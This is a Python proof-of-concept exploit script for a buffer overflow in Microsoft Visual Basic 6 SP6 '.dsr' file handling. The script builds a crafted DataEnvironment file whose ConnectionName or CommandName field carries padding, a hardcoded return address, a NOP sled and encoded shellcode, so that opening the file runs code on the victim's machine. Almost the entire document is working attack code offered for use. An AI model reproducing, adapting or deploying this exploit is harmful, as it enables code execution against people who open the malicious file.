msvis-dsr.txt

`#usage: exploit.py  
  
import time  
  
print "---------------------------------------------------------------------------"  
print ' MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling Buffer Overflow\n'  
print " author: shinnai"  
print " mail: shinnai[at]autistici[dot]org"  
print " site: http://shinnai.altervista.org\n"  
print " Once you create the file, open it with Visual Basic 6 and click on"  
print " connection or command name."  
print "---------------------------------------------------------------------------"  
  
EIP = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll  
  
nop = "\x90\x90\x90\x90"  
  
shellcode = \  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\  
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\  
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\  
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\  
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\  
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\  
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\  
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\  
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\  
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\  
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\  
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\  
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\  
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\  
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\  
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"  
  
try:  
choice = int(raw_input('Choose 1 for "ConnectionName", 2 for "CommandName" bof or '+\  
'3 to quit:\n==> '))  
if choice == 1:  
buff = 'Connection1' + " " * 559 + EIP + "A" * 12 + nop + shellcode + nop  
try:  
vb_dsr = \  
'VERSION 5.00\n'+\  
'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\  
' ClientHeight = 6315\n'+\  
' ClientLeft = 0'+\  
' ClientTop = 0\n'+\  
' ClientWidth = 7935\n'+\  
' _ExtentX = 13996\n'+\  
' _ExtentY = 11139\n'+\  
' FolderFlags = 1\n'+\  
' TypeInfoCookie = 0\n'+\  
' Version = 4\n'+\  
' NumConnections = 1\n'+\  
' BeginProperty Connection1\n'+\  
' ConnectionName = "' + buff + '"\n'+\  
' ConnDispId = 1001\n'+\  
' SourceOfData = 3\n'+\  
' QuoteChar = 34\n'+\  
' SeparatorChar = 46\n'+\  
' EndProperty\n'+\  
' NumRecordsets = 0\n'+\  
'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF  
out_file = open('ConnectionName.dsr','w')  
out_file.write(vb_dsr)  
out_file.close()  
print "FILE CREATED!"  
except:  
print "Something wrong in file creation!"  
if choice == 2:  
buff = 'Command1' + " " * 566 + EIP + "A" * 12 + nop + shellcode + nop  
try:  
vb_dsr = \  
'VERSION 5.00\n'+\  
'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\  
' ClientHeight = 6315\n'+\  
' ClientLeft = 0'+\  
' ClientTop = 0\n'+\  
' ClientWidth = 7935\n'+\  
' _ExtentX = 13996\n'+\  
' _ExtentY = 11139\n'+\  
' FolderFlags = 1\n'+\  
' TypeInfoCookie = 0\n'+\  
' Version = 4\n'+\  
' NumConnections = 1\n'+\  
' BeginProperty Connection1\n'+\  
' ConnectionName = "Connection1"\n'+\  
' ConnDispId = 1001\n'+\  
' SourceOfData = 3\n'+\  
' QuoteChar = 34\n'+\  
' SeparatorChar = 46\n'+\  
' EndProperty\n'+\  
' NumRecordsets = 1\n'+\  
' BeginProperty Recordset1\n'+\  
' CommandName = "' + buff + '"\n'+\  
' CommDispId = 1002\n'+\  
' RsDispId = -1\n'+\  
' ActiveConnectionName= "Connection1"\n'+\  
' NumFields = 0\n'+\  
' NumGroups = 0\n'+\  
' ParamCount = 0\n'+\  
' RelationCount = 0\n'+\  
' AggregateCount = 0\n'+\  
' EndProperty\n'+\  
'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF  
out_file = open('CommandName.dsr','w')  
out_file.write(vb_dsr)  
out_file.close()  
print "FILE CREATED!"  
except:  
print "Something wrong in file creation!"  
if choice == 3:  
print "Be safe!"  
if choice !=1 and choice != 2 and choice != 3:  
print "D'oh! You MUST choose a value between 1 and 3"  
except:  
print "mmm... ok, you want it..."  
time.sleep(4)  
print "London Bridge is falling down,\nFalling down, falling down\nLondon Bridge is falling down\nMy fair lady" * 99999  
  
`